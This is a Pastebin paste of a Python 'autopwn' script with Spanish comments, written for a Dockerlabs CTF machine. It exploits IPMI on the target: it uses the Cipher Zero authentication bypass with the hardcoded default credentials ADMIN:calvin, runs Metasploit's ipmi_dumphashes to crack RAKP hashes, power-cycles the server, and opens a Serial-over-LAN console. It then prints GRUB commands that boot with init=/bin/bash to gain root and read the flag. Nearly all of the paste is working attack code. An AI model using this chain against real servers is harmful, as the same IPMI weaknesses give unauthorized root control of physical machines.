mikisbd

Autopwn para CTF Baremetal - Dockerlabs

Sep 28th, 2026 (edited)
56
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.53 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. Autopwn para CTF Baremetal (IPMI + SOL + GRUB init=/bin/bash)
  4. Uso: python3 autopwn_baremetal.py <IP>
  5. credenciales conseguidas con: msf auxiliary(scanner/ipmi/ipmi_dumphashes)
  6. *** instalar ipmitool primero ***
  7. """
  8.  
  9. import subprocess
  10. import sys
  11. import time
  12. import os
  13.  
  14. TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.17.0.2"
  15. USER = "ADMIN"
  16. PASS = "calvin"
  17. CIPHER = "0"  # Cipher Zero bypass
  18.  
  19. def run(cmd, timeout=30, capture=True):
  20.     """Ejecuta un comando shell y devuelve la salida."""
  21.     print(f"[*] Ejecutando: {cmd}")
  22.     try:
  23.         result = subprocess.run(
  24.             cmd, shell=True, capture_output=capture,
  25.             text=True, timeout=timeout
  26.         )
  27.         if capture and result.stdout:
  28.             print(result.stdout)
  29.         if capture and result.stderr:
  30.             print(result.stderr, file=sys.stderr)
  31.         return result.stdout if capture else None
  32.     except subprocess.TimeoutExpired:
  33.         print(f"[!] Timeout en: {cmd}")
  34.         return None
  35.  
  36. def check_ipmi():
  37.     """Verifica que IPMI responde."""
  38.     print("\n[+] Fase 1: Verificando IPMI")
  39.     out = run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
  40.               f"-U {USER} -P {PASS} mc info")
  41.     if out and "IPMI Version" in out:
  42.         print("[✓] IPMI accesible con Cipher Zero")
  43.         return True
  44.     print("[✗] IPMI no responde")
  45.     return False
  46.  
  47. def get_hash():
  48.     """Extrae el hash RAKP con Metasploit."""
  49.     print("\n[+] Fase 2: Extrayendo hash RAKP")
  50.     msf_cmd = (
  51.         f"msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_dumphashes; "
  52.         f"set RHOSTS {TARGET}; set RPORT 623; "
  53.         f"set CRACK_COMMON true; run; exit'"
  54.     )
  55.     out = run(msf_cmd, timeout=120)
  56.     if out and "matches password" in out:
  57.         print("[✓] Hash crackeado automáticamente")
  58.         return True
  59.     return False
  60.  
  61. def power_cycle():
  62.     """Reinicia el servidor vía IPMI."""
  63.     print("\n[+] Fase 3: Power cycle")
  64.     run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
  65.         f"-U {USER} -P {PASS} chassis power cycle", timeout=30)
  66.     print("[*] Esperando 15 segundos a que reinicie...")
  67.     time.sleep(15)
  68.  
  69. def activate_sol():
  70.     """Activa la consola SOL y arranca con init=/bin/bash."""
  71.     print("\n[+] Fase 4: Activando SOL")
  72.    
  73.     # Desactivar sesiones previas
  74.     run(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
  75.         f"-U {USER} -P {PASS} sol deactivate", timeout=10)
  76.     time.sleep(2)
  77.    
  78.     # Activar SOL en una sesión interactiva
  79.     print("[*] Abriendo consola SOL...")
  80.     print("[!] En la consola SOL, ejecuta manualmente:")
  81.     print("    " + "="*60)
  82.     print("    ENTER")
  83.     print("    c")
  84.     print("    grub> linux /vmlinuz-6.1-ctg root=/dev/vda1 rw init=/bin/bash")
  85.     print("    grub> boot")
  86.     print("    root@(initramfs):/# cat /root/flag.txt")
  87.     print("    " + "="*60)
  88.    
  89.     # Lanzar SOL interactivo
  90.     os.system(f"ipmitool -I lanplus -C {CIPHER} -H {TARGET} "
  91.               f"-U {USER} -P {PASS} sol activate")
  92.  
  93. def main():
  94.     print("="*60)
  95.     print(f"  AUTOPWN BAREMETAL - Target: {TARGET}")
  96.     print("="*60)
  97.    
  98.     # Fase 1: Verificar IPMI
  99.     if not check_ipmi():
  100.         print("[!] Abortando: IPMI no accesible")
  101.         return 1
  102.    
  103.     # Fase 2: Hash (opcional, ya lo tenemos)
  104.     print("\n[+] Fase 2: Hash ya conocido (ADMIN:calvin)")
  105.    
  106.     # Fase 3: Power cycle
  107.     power_cycle()
  108.    
  109.     # Fase 4: SOL + GRUB
  110.     activate_sol()
  111.    
  112.     return 0
  113.  
  114. if __name__ == "__main__":
  115.     sys.exit(main())
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment